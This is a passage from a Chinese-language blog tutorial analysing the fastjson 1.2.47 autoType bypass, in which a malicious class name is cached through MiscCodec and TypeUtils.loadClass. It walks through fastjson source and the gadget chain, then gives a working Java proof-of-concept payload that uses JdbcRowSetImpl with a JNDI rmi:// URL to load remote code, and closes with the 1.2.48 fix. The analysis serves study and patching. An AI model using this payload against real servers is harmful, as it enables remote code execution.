* @param cache 是否缓存加载过的类,true表示缓存,false表示不缓存
* @return 加载的类,如果无法加载则返回null
*/
public static Class<?> loadClass(String className, ClassLoader classLoader, boolean cache) {
// 检查类名是否为空,为空则返回null
if(className == null || className.length() == 0){
return null;
}
// 尝试从已缓存的类映射中获取类,如果找到则直接返回
Class<?> clazz = mappings.get(className);
if(clazz != null){
return clazz;
}
// 处理数组类型的类名,递归加载数组的组件类型
if(className.charAt(0) == '['){
Class<?> componentType = loadClass(className.substring(1), classLoader);
return Array.newInstance(componentType, 0).getClass();
}
// 处理内部类类型的类名,去除首尾的'L'和';'后递归加载
if(className.startsWith("L") && className.endsWith(";")){
String newClassName = className.substring(1, className.length() - 1);
return loadClass(newClassName, classLoader);
}
// 尝试使用提供的类加载器加载类,并缓存如果指定
try{
if(classLoader != null){
clazz = classLoader.loadClass(className);
if (cache) {
mappings.put(className, clazz);
}
return clazz;
}
} catch(Throwable e){
// 加载失败时记录异常,但不终止方法执行
e.printStackTrace();
// skip
}
// 尝试使用当前线程上下文类加载器加载类,并缓存如果指定
try{
ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
if(contextClassLoader != null && contextClassLoader != classLoader){
clazz = contextClassLoader.loadClass(className);
if (cache) {
mappings.put(className, clazz);
}
return clazz;
}
} catch(Throwable e){
// 加载失败时记录异常,但不终止方法执行
// skip
}
// 尝试使用系统类加载器加载类,并缓存
try{
clazz = Class.forName(className);
mappings.put(className, clazz);
return clazz;
} catch(Throwable e){
// 加载失败时记录异常,但不终止方法执行
// skip
}
// 所有加载尝试失败后返回null
return clazz;
}
在 loadClass 中 mappings.put(className, clazz); 方法的判断限制,无论是 classLoader,还是 cache 都是从参数中传递的,我们要是可以找到一个可控参数的 loadClass()方法,就能完成像 mappings 里添加任意类了
我们看到这个 loadClass()
重点关注在 MiscCodec 中的 loadClass 方法,他是调用了两个参数的 com.alibaba.fastjson.util.TypeUtils#loadClass(java.lang.String, java.lang.ClassLoader)方法,而这个方法会去调用三个参数的方法( 也就是我们目标方法 )

com.alibaba.fastjson.serializer.MiscCodec#deserialze 我们来分析这个方法,先来到调用 loadClass 的地方

clazz 是我们传递的参数,稍后我们再看,我们现分析 strVal 是否可控,我们来到定义的地方

我们接着找到 objVal 这个变量
Object objVal;
/* 检查 parser 的 resolveStatus 是否为 TypeNameRedirect,
在碰到@type字段时,默认需要类型重定向,所以为true
*/
if (parser.resolveStatus == DefaultJSONParser.TypeNameRedirect) {
// 将 resolveStatus 重置为 NONE
parser.resolveStatus = DefaultJSONParser.NONE;
// 期望并消费 ',' Token
parser.accept(JSONToken.COMMA);
// 检查当前 Token 是否是字符串字面量。
if (lexer.token() == JSONToken.LITERAL_STRING) {
// 检查字符串值是否是 "val"
if (!"val".equals(lexer.stringVal())) {
// 如果不是 "val",抛出 JSONException 异常
throw new JSONException("syntax error");
}
// 消费掉 "val" 字符串 Token,读取下一个 Token
lexer.nextToken();
} else {
// 如果当前 Token 不是字符串字面量,抛出 JSONException 异常
throw new JSONException("syntax error");
}
// 期望并消费 ':' Token
parser.accept(JSONToken.COLON);
// 解析冒号后面的值,并将结果赋值给 objVal。
objVal = parser.parse();
// 期望并消费 '}' Token。
parser.accept(JSONToken.RBRACE);
} else {
objVal = parser.parse(); // 如果 resolveStatus 不是 TypeNameRedirect,直接解析当前 JSON 值,并将结果赋值给 objVal。
}
我们通过这段代码,知道了 objVal 这个值是我们可控在,只需要这样的 json 串即可
{
// 满足类型重定向
"@type": "some.Type",
// val设置为恶意类的类名
"val": "com.sun.rowset.JdbcRowSetImpl"
}
@type 中的值要是什么呢?我们其实还有一个条件没有满足 那就是 clazz == Class.class
clazz 是我们传进来的参数,我们继续找一下看这个 com.alibaba.fastjson.serializer.MiscCodec#deserialze 有谁在调用,我们能自动让 fastjson 调用且满足我们的条件吗?
我们找了 com.alibaba.fastjson.parser.DefaultJSONParser#parseObject(java.util.Map, java.lang.Object)这个方法
这个方法就是 fastjson 在解析 json 字符串为 javaBean 时 自动调用的,我们看他调用时 deserialze 能不能走到 MiscCodec#deserialze 且类型为 Class.class

clazz 由我们能传入的@type 字段的的值控制:即 clazz 可控 可以赋值为 (java.lang.Class)
我们跟进看看 com.alibaba.fastjson.parser.ParserConfig#getDeserializer(java.lang.reflect.Type) 方法

derializers 的类型
private final IdentityHashMap<Type, ObjectDeserializer> deserializers =
new IdentityHashMap<Type, ObjectDeserializer>();
而 deserializers 在初始化的时候,也放入了 Class.class,而且正好 我们可以取到 MiscCodec.instance 实例

至此链条就分析完成了
总结梳理
我们可以在总结 正向 梳理一下
- 自己执行 JSON.parse();
- fastjson 会去调用 com.alibaba.fastjson.parser.DefaultJSONParser#parseObject(java.util.Map, java.lang.Object)
- parseObject 会根据 @type 字段的值( Class.class ) 参数执行 config.getDeserializer(clazz); 拿到 MiscCodec.instance
- 接着执行 MiscCodec 的 deserialze() 方法,检测 “val” 字段 并把字段值 ( com.sun.rowset.JdbcRowSetImpl ) 赋值给 objVal,接着在转为字符串赋值给到 strVal,
- MiscCodec#deserialze 接着执行 TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader()); 进而调用三个参数的重载方法,cache 默认传递 true,把 strVal 就是我们的恶意类名,加载到缓存表 mappings 中 ,从而绕过 checkAutoType
最后的 payload
package com.lingx5.exp;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.parser.ParserConfig;
public class bypass47 {
public static void main(String[] args) {
// ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload = "{" +
"\"1\":{" +
"\"@type\":\"java.lang.Class\"," +
"\"val\":\"com.sun.rowset.JdbcRowSetImpl\"" +
"}," +
"\"2\":{" +
"\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," +
"\"dataSourceName\":\"rmi://127.0.0.1:1099/Exploit\"," +
"\"autoCommit\":true" +
"}" +
"}";
// 模拟受害的fastjson服务器
JSON.parse(payload);
}
}
调试 看一下调用栈


成功执行命令

你是不仍有疑问,为什么我把 AutoTypeSupport 关了,在 json 串里也用到了@type 字段,为什么还能进行封装呢?
其实 autoTypeSupport 只是一个布尔值,在 checkAutoType() 函数中仅仅时进行了一些列 if 判断,他并不是把fastjson的@type特性给移除掉了。而我们 既没有在 autoTypeSupport 为true的方法里执行,也没有在autoTypeSupport 为false的方法里执行,所以可以实现RCE绕过
1.2.48
官方在 1.2.48 对漏洞进行了修复,在 MiscCodec 处理 Class 类的地方,设置了cache 为 false ,并且 loadClass 重载方法的默认的调用改为不缓存,这就避免了使用了 Class 提前将恶意类名缓存进去。


这也确实把我们想通过缓存的路给封死了
总结
fastjson从1.2.24开始爆出RCE后就一发不可收拾,各种绕过接踵而至。作者也是在缝缝补补,不过靠黑名单机制肯定是不足够安全的,会有研究人员不断找出新的路径来实现bypass。
参考文章
Java 安全学习——Fastjson 反序列化漏洞 - 枫 のBlog

浙公网安备 33010602011771号